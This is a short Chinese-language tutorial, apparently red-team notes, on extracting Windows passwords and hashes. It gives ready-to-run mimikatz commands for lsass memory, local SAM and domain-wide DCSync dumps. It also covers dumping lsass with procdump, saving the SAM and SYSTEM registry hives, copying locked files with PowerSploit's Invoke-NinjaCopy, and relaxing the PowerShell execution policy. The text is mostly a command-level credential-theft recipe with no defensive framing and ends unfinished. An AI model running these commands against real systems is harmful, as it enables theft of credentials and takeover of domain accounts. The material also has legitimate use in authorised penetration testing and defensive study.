文章目录
一、获取域内单机密码和hash
在windows中,SAM文件是windows用户的账户数据库,位于系统的%SystemRoot%\System\Config
目录中,所有本地用户的用户名、密码hash等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码会被转化为hash,然后再与SAM文件中的hash值对比,若相同,则认证成功。lsass.exe
是windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在lsass.exe
的进程空间中,用户的明文密码经过WDigest
和Tspkg
模块调用后,会对其使用可逆的算法进行加密并存储在内存中。
用来获取主机的用户密码和hash的工作大多通过读取SAM文件或者访问lsass.exe
进程的内存数据等操作来实现。这些操作大多需要管理员权限
1.1 在线读取lsass进程内存
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
# privilege::debug:提升至Debugprivlege权限
# sekurlsa::logonpasswords full:导出用户凭证
如果出现以下错误,需要用管理员身份打开cmd命令行。
1.2 离线读取lsass.exe进程内存
除了在线读取外,还可以直接将lsass.exe
的进程内存转存,将内存文件导出到本地后,使用mimikatz.exe进行离线读取。这里使用procdump实现离线转存。
procdump.exe -accepteula -ma lsass.exe lsass.dmp # 将lsass.exe进程转存
mimikatz.exe "sekurl::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# sekurl::minidump lsass.dump:用于加载文件
# sekurlsa::logonpasswords full:导出用户凭证
1.3 在线读取本地SAM文件
读取SAM文件中保存的用户登录凭证,可以导出当前系统中所有本地用户的hash。
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# privilege::debug:提升至Debugprivlege权限
# token::elevate:提升到system权限
# lsadump::sam:读取本地sam文件
1.4 离线读取本地SAM文件
离线读取就是将SAM文件导出,使用mimikatz加载并读取其中用户的登录凭证等信息。注意:为了提高SAM文件的安全性以防止被离线破解,windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM
文件中,与SAM文件在同一目录下。
通过Invoke-NinjaCopy.psl脚本实现
在目标主机上导出SAM和SYSTEM文件,因为系统在运行时,这两个文件被锁定,可以使用PowerSploit项目中的Invoke-NinjaCopy.psl
脚本实现。
管理员身份启动powershell,在域环境中需要域管理员密码才能启动。
Import-Module .\Invoke-NinjaCopy.psl
Invoke-NinjaCopy -Path "C:\Windows\System32\config\sam" -LocalDestination C:\Temp\SAM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination C:\Temp\SYSTEM
出现以下错误,运行
Set-ExecutionPolicy Unrestricted -Scope CurrrentUser
。
# 使用mimikatz加载并读取SAM中的用户凭证信息
mimikatz.exe "lsadump::sam /sam:C:\SAM /system:C:\SYSTEM" exit
通过注册表实现
需要管理员权限
# 使用管理员权限,通过保存注册表的方式导出
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# 使用mimikatz加载并读取SAM中的用户凭证
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
二、域hash获取
lsadump::dcsync /domain:<domain> /all /csv # 导出域内所有用户的信息(包括哈希值)
三、windows凭据导出
Invoke-WCMDump
,一个用于Windows环境的凭据提取PowerShell模块,能解密LSA和DPAPI存储的敏感信息,以及捕获Wdigest明文密码。
待续…